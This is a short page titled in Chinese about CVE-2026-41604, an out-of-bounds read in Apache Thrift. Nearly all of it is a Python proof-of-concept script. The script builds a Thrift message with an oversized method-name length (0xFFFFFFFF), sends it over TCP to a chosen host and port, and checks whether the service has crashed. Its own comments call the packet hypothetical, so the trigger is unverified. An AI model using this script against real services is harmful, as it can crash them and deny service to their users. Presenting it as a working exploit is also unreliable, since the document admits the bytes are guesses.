CVE-2026-41604 Apache Thrift越界读取漏洞

# This is a conceptual PoC for CVE-2026-41604 # It demonstrates sending a potentially malicious payload to trigger the OOB Read import socket import struct def create_malformed_thrift_packet(): # Hypothetical malformed message header # In a real scenario, the specific bytes would align with the vulnerability trigger # Assuming a strict length check is missing for a string or binary field # Magic bytes + Version (Example) header = b"\x80\x01\x00\x01" # Method name length (High value to cause OOB) # Sending a length that exceeds the actual buffer size method_name_len = struct.pack(">I", 0xFFFFFFFF) # Sequence ID seq_id = struct.pack(">I", 0) return header + method_name_len + seq_id def send_exploit(host, port): payload = create_malformed_thrift_packet() try: print(f"[+] Connecting to {host}:{port}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((host, port)) print(f"[+] Sending malicious payload...") s.send(payload) # Wait for response or timeout (Crash detection) s.recv(1024) print("[+] Payload sent. Check if the service crashed.") s.close() except Exception as e: print(f"[-] Error: {e}") # Note: Replace target_ip and target_port with the actual vulnerable service details # send_exploit("127.0.0.1", 9090)